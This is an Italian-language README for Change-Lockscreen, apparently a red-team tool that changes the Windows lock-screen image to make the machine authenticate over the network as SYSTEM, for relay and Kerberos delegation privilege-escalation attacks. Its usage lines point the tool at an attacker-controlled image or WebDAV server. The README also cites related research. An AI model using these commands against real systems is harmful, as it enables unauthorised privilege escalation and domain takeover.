Change-Lockscreen

Change-Lockscreen è uno strumento per attivare autenticazioni di rete come SYSTEM modificando l'immagine della schermata di blocco di Windows dalla riga di comando, per eseguire attacchi di escalation dei privilegi come quello descritto nel post collegato di seguito:

• https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation

Funzionalità

Per impostazione predefinita, Windows 10 dispone di una funzionalità chiamata Windows Spotlight, che scarica e visualizza automaticamente le immagini della schermata di blocco.

• Quando questa funzionalità è abilitata, Change-Lockscreen la disabilita e imposta l'immagine specificata negli argomenti
• In caso contrario, se l'utente ha un'immagine personalizzata della schermata di blocco, Change-Lockscreen si occupa di eseguirne un backup, attivare l'autenticazione di rete e reimpostarla

Nota: mentre la versione PowerShell dello strumento funziona in modo affidabile, la versione C# talvolta non riesce a ripristinare l'immagine originale.

Utilizzo

Change-Lockscreen -FullPath \\[imageserver]@[port]\[fakePath]\[image.jpg]
Change-Lockscreen -Webdav \\[imageserver]@[port]\ 

Autori

• Simone Salucci
• Daniel López Jiménez

Ringraziamenti

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
• https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
• https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
• https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
• http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
• https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/